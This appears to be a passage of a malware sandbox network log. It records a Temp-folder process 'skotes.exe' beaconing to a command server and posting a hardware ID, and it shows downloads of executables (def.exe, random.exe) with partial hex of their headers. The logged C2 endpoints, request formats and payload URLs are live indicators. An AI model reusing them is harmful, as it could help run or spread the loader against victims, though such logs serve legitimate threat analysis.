Oct 31, 2024 04:16:56.858936071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	58615	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:58.677182913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:16:59.597445011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	58619	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:01.131629944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:02.040222883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	58622	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:03.695020914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:04.600677013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	58625	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:06.121172905 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:07.034216881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	58626	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:08.004337072 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 04:17:08.931246042 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 04:17:08.934525967 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build"tale------CFHCBKKFIJJJECAAFCGI--
Oct 31, 2024 04:17:09.218444109 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	58628	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:08.794044018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:09.718548059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	58630	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:10.582365036 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:17:11.512372017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:11 GMT Content-Type: application/octet-stream Content-Length: 2809344 Last-Modified: Thu, 31 Oct 2024 02:58:51 GMT Connection: keep-alive ETag: "6722f26b-2ade00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +&+`Ui` @ @.rsrc`2@.idata 8@ucxgvins\|:@nulvttal +@.taggant@@+"@
Oct 31, 2024 04:17:11.512438059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:17:11.512453079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:17:11.512468100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:17:11.512495995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:17:11.512573004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:17:11.512589931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:17:11.512619019 CET	1236	IN	Data Raw: fd 12 0d 80 d5 b1 0d c5 5e 96 0f 3d 4f 8c b0 6f fa 65 a8 df 3f cb bb 1f 0a dc d9 bd a8 6b 47 d4 36 8e 63 63 a4 89 86 9f 86 21 d2 74 b3 c7 1d c0 6f df ed 6e 2b d8 18 bb 5d c9 0e b9 6d d7 54 d1 73 10 fe 7e d5 d5 01 97 39 ec ec b4 4f e6 0e 50 1c f9 Data Ascii: ^=Ooe?kG6cc!ton+]mTs~9OP:IcjVarDO'=\"8/X9a/T64eTrtaeYi.Sk_Qjt)^YJ\<eoT$M
Oct 31, 2024 04:17:11.512634039 CET	1236	IN	Data Raw: e9 0d f8 94 91 0d f4 e0 fa f6 6c 75 58 ee f9 ed 1f b6 fd 78 cd cb db dd 0f 55 d1 84 71 ce 03 80 1f b6 c3 de fd ae bf 81 82 0b 82 fd 71 0d b8 7f 1f b2 f7 2c ce 9a a7 73 c3 71 9b 39 1a ee 9b d6 cf b9 63 59 59 92 08 07 72 8e eb 7f df e9 83 4d e8 46 Data Ascii: luXxUqq,sq9cYYrMFys?l7:pBdJdhP+U ?;9U3+o#uz?W3ip.;O?o/sYr=2Z;*XQ?rg}Ld
Oct 31, 2024 04:17:11.512649059 CET	1236	IN	Data Raw: 33 f0 fc 85 cb c6 f7 d1 2e 75 47 7f 66 fa 07 f4 64 0b f6 2c 22 dd d3 25 56 a4 c6 9d c4 26 a2 23 3c b5 c9 2f 64 91 d5 c3 f0 a7 20 d3 7f e8 c0 15 30 0e a4 8f 51 7b 84 a1 6f fe 99 a1 40 ab a7 5a e8 dd ab 6e 6d a7 b3 88 62 20 61 80 d9 3d de 50 9f f4 Data Ascii: 3.uGfd,"%V&#</d 0Q{o@Znmb a=PZ_J))=I}3-v5%xru#7?J~__t/Ew-8pHyZ!bA>*RU.x]{^V@SaSxmi]
Oct 31, 2024 04:17:11.517573118 CET	1120	IN	Data Raw: 5a 95 2c 2a 08 ea 16 d9 03 66 12 c4 bc 0a d6 df 53 dd 09 40 54 ea b7 cd 50 c0 2b a6 52 d5 2a 71 53 da b1 8b 20 e9 65 12 cf 31 1c 37 35 1b fa ed 1a 4c 9d 84 32 78 ef bc 1f 08 06 94 39 a9 ab 8b 49 af ad 82 c3 ab b4 ae a0 ed 0a 10 90 77 a6 42 40 26 Data Ascii: Z,fS@TP+RqS e175L2x9IwB@&JMax[5^n{hr}hzVvGZ&\ZnoUWnuoaN*`V&"a3m:}7NT=uv\|T3lg">sj9)
Oct 31, 2024 04:17:17.608314991 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:17:17.896641970 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:17 GMT Content-Type: application/octet-stream Content-Length: 1873920 Last-Modified: Thu, 31 Oct 2024 03:03:32 GMT Connection: keep-alive ETag: "6722f384-1c9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@J@pJ@Wkl'J'J @.rsrc@.idata @ *@bleglpjp0\|@ozncbdew0Jr@.taggant0@J"v@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	58632	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:11.255587101 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:12.156862020 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	58633	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:13.787269115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:14.718426943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	58634	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:16.246483088 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:17.145971060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	58635	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:18.816229105 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:19.759013891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	58646	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:21.222336054 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:21.808438063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81968 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:22.017383099 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:22.139863014 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81969 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:22.153008938 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:22.276287079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81969 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:22.432106018 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:22.554889917 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81969 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:22.749650002 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:22.872452021 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81969 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
